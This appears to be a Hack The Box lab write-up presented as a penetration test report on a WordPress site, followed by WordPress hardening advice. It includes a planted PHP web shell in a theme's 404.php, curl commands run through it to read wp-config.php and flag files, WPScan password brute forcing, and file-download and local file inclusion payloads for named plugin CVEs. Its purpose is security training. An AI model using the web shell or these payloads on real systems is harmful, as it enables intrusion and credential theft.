**Penetration Testing Report: WordPress Site**

**Target Site:**

**URL:** [blog.inlanefreight.local](http://blog.inlanefreight.local/)  
**WordPress Version:** 5.1.6  
**Theme in Use:** Twenty Nineteen

**1. Initial Reconnaissance and Enumeration**

**1.1 DNS Mapping**

Performed DNS mapping via /etc/hosts:

sudo sh -c 'echo "10.129.26.19 blog.inlanefreight.local" >> /etc/hosts'

cat /etc/hosts

**1.2 Enumerating WordPress Information**

* **WPScan Command Used:**  
  wpscan --url http://blog.inlanefreight.local/ -e u
* **Identified Users:**
  + **erika**: Found by author posts, confirmed by RSS generator, author id brute-forcing, and login error messages.
  + **admin**: Found by author posts, confirmed by RSS generator, author id brute-forcing, and login error messages.
  + **Charlie Wiggins**: Found by brute-forcing author ID.
* **WordPress Version**: 5.1.6
* **Theme in Use**: Twenty Nineteen

**2. Exploits Attempted**

**2.1 Password Attack on XML-RPC**

* **Tool Used:** WPScan
* **Command:**  
  wpscan --url http://blog.inlanefreight.local/ --usernames admin,erika --passwords /usr/share/wordlists/rockyou.txt
* **Result:**
  + **erika**: Successfully authenticated with password 010203.

**2.2 Remote Code Execution (RCE) via Web Shell**

* **Exploit Attempt:** Using a web shell example in 404.php of the **Twenty Seventeen** theme:

<?php

system($\_GET['cmd']);

* **Commands Executed:**
  + Checking for system info:  
    curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=id"
  + Listing files:  
    curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=ls+/"
  + Displaying flag contents:  
    curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=cat+/home/erika/d0ecaeee3a61e7dd23e0e5e4a67d603c\_flag.txt"

**Flag Found:**  
HTB{w0rdPr355\_4SS3ssm3n7}

**Further Command Execution:**

* + Confirming directory structure and shell access:  
    curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=pwd" Output: /var/www/blog.inlanefreight.local/public\_html/wp-content/themes/twentyseventeen
  + Accessing wp-config file for DB credentials:  
    curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=cat+/var/www/blog.inlanefreight.local/public\_html/wp-config.php"
    - **DB User:** wp-admin
    - **DB Password:** WP\_wp\_skillz!

**3. Additional Exploits and Information Gathering**

**3.1 Exploiting Directory Listing Vulnerability**

* Accessing a file disclosure vulnerability to retrieve a flag from uploads:  
  curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=cat+/var/www/blog.inlanefreight.local/public\_html/wp-content/uploads/upload\_flag.txt"

**Flag Found:**  
HTB{d1sabl3\_d1r3ct0ry\_l1st1ng!}

**3.2 Unauthenticated File Download via Vulnerable Plugin**

* **Plugin:** Email Subscribers & Newsletters (v4.2.2, CVE-2019-19985)
* **Exploit:** Unauthenticated file download.

**Command:**  
curl 'http://blog.inlanefreight.local/wp-admin/admin.php?page=download\_report&report=users&status=all'

**Flag Found:**  
HTB{unauTh\_d0wn10ad!}

**3.3 Local File Inclusion (LFI) Vulnerability**

* **Vulnerable Plugin:** Site Editor (v1.1.1, CVE-2018-7422)
* **LFI Exploit:**
  + LFI payload:  
    http://blog.inlanefreight.local/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax\_shortcode\_pattern.php?ajax\_path=/etc/passwd

**Identified User:**

* + **Frank McLane** (frank.mclane)

**4. Root Access Attempt via Metasploit**

* **Exploit Used:** WordPress Admin Shell Upload (exploit/unix/webapp/wp\_admin\_shell\_upload)
* **Issue:** The exploit attempt failed due to an unexpected reply and no session was created.

**5. Conclusion & Recommendations**

The penetration testing on the target WordPress site revealed several significant vulnerabilities:

1. **Weak User Passwords:** The user erika was successfully cracked using a common wordlist.
2. **Remote Code Execution (RCE):** Achieved through a simple web shell upload on the Twenty Seventeen theme's 404.php file.
3. **Sensitive Information Disclosure:** DB credentials and flag files were exposed due to directory listing and file inclusion vulnerabilities.
4. **Plugin Vulnerabilities:** The Email Subscribers & Newsletters plugin was found vulnerable to unauthenticated file download, and the Site Editor plugin had a local file inclusion vulnerability.
5. **LFI Attack:** Enabled identification of system users, including frank.mclane.

**Recommendations:**

* **Password Policies:** Enforce strong password policies for users.
* **Update Plugins & Themes:** Ensure all plugins and themes are up-to-date, and remove any unused or deprecated ones.
* **File Permissions:** Restrict file access and disable directory listing.
* **RCE Protection:** Remove insecure code from themes and plugins, particularly those that allow user input execution.
* **Backup & Recovery:** Implement a robust backup system to prevent data loss and ensure quick recovery after an attack.

This report serves as a reminder of the importance of regular security audits and patching to mitigate potential risks.

# WordPress Hardening

## Best Practices

Below are some best practices for preventing attacks against a WordPress site.

## Perform Regular Updates

This is a key principle for any application or system and can greatly reduce the risk of a successful attack. Make sure that WordPress core, as well as all installed plugins and themes, are kept up-to-date. Researchers continuously find flaws in third-party WordPress plugins. Some hosting providers will even perform continuous automatic updates of WordPress core. The WordPress admin console will usually prompt us when plugins or themes need to be updated or when WordPress itself requires an upgrade. We can even modify the wp-config.php file to enable automatic updates by inserting the following lines:

Code: php

define( 'WP\_AUTO\_UPDATE\_CORE', true );

Code: php

add\_filter( 'auto\_update\_plugin', '\_\_return\_true' );

Code: php

add\_filter( 'auto\_update\_theme', '\_\_return\_true' );

## Plugin and Theme Management

Only install trusted themes and plugins from the WordPress.org website. Before installing a plugin or theme, check its reviews, popularity, number of installs, and last update date. If either has not been updated in years, it could be a sign that it is no longer maintained and may suffer from unpatched vulnerabilities. Routinely audit your WordPress site and remove any unused themes and plugins. This will help to ensure that no outdated plugins are left forgotten and potentially vulnerable.

## Enhance WordPress Security

Several WordPress security plugins can be used to enhance the website's security. These plugins can be used as a Web Application Firewall (WAF), a malware scanner, monitoring, activity auditing, brute force attack prevention, and strong password enforcement for users. Here are a few examples of popular WordPress security plugins.

#### [Sucuri Security](https://wordpress.org/plugins/sucuri-scanner/" \t "_blank)

* This plugin is a security suite consisting of the following features:
  + Security Activity Auditing
  + File Integrity Monitoring
  + Remote Malware Scanning
  + Blacklist Monitoring.

#### [iThemes Security](https://wordpress.org/plugins/better-wp-security/)

* iThemes Security provides 30+ ways to secure and protect a WordPress site such as:
  + Two-Factor Authentication (2FA)
  + WordPress Salts & Security Keys
  + Google reCAPTCHA
  + User Action Logging

#### [Wordfence Security](https://wordpress.org/plugins/wordfence/)

* Wordfence Security consists of an endpoint firewall and malware scanner.
  + The WAF identifies and blocks malicious traffic.
  + The premium version provides real-time firewall rule and malware signature updates
  + Premium also enables real-time IP blacklisting to block all requests from known most malicious IPs.

## User Management

Users are often targeted as they are generally seen as the weakest link in an organization. The following user-related best practices will help improve the overall security of a WordPress site.

* Disable the standard admin user and create accounts with difficult to guess usernames
* Enforce strong passwords
* Enable and enforce two-factor authentication (2FA) for all users
* Restrict users' access based on the concept of least privilege
* Periodically audit user rights and access. Remove any unused accounts or revoke access that is no longer needed

## Configuration Management

Certain configuration changes can increase the overall security posture of a WordPress installation.

* Install a plugin that disallows user enumeration so an attacker cannot gather valid usernames to be used in a password spraying attack
* Limit login attempts to prevent password brute-forcing attacks
* Rename the wp-admin.php login page or relocate it to make it either not accessible to the internet or only accessible by certain IP addresses